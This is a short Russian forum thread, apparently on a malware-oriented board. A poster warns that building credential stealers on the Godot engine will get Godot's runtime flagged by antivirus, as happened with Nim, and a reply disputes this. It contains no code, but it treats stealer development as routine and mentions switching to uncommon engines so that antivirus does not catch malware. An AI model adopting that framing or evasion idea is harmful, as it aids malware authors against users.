Пожалуйста, обратите внимание, что пользователь заблокирован
По сабжу: имхо, вы этим просто добьетесь того, что рантайм движка будет палиться антивирусами, как это было с языком Nim. Понятно, что для вас это небольшая проблема, ну будет палиться стиллер на Годоте, ну будет тогда стиллер на Юнити, или на Дефолде каком-нибудь. А вот для движка - это добавит кучу головной боли, ведь как показала практика языка Nim, большинство аверов срать хотели на жалобы о ложных срабатываниях от разработчиков всяких не распространенных широко оупенсорсных вещей.
 
По сабжу: имхо, вы этим просто добьетесь того, что рантайм движка будет палиться антивирусами, как это было с языком Nim. Понятно, что для вас это небольшая проблема, ну будет палиться стиллер на Годоте, ну будет тогда стиллер на Юнити, или на Дефолде каком-нибудь. А вот для движка - это добавит кучу головной боли, ведь как показала практика языка Nim, большинство аверов срать хотели на жалобы о ложных срабатываниях от разработчиков всяких не распространенных широко оупенсорсных вещей.
может ты и прав, но посмотрев пару рроликов и почитав статьи, мне кажется годот уже не такой уж и ноунейм, вполне реально что он поравняется с тем же юнити. Может я конечно и ошибаюсь, это лично мое мнение
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх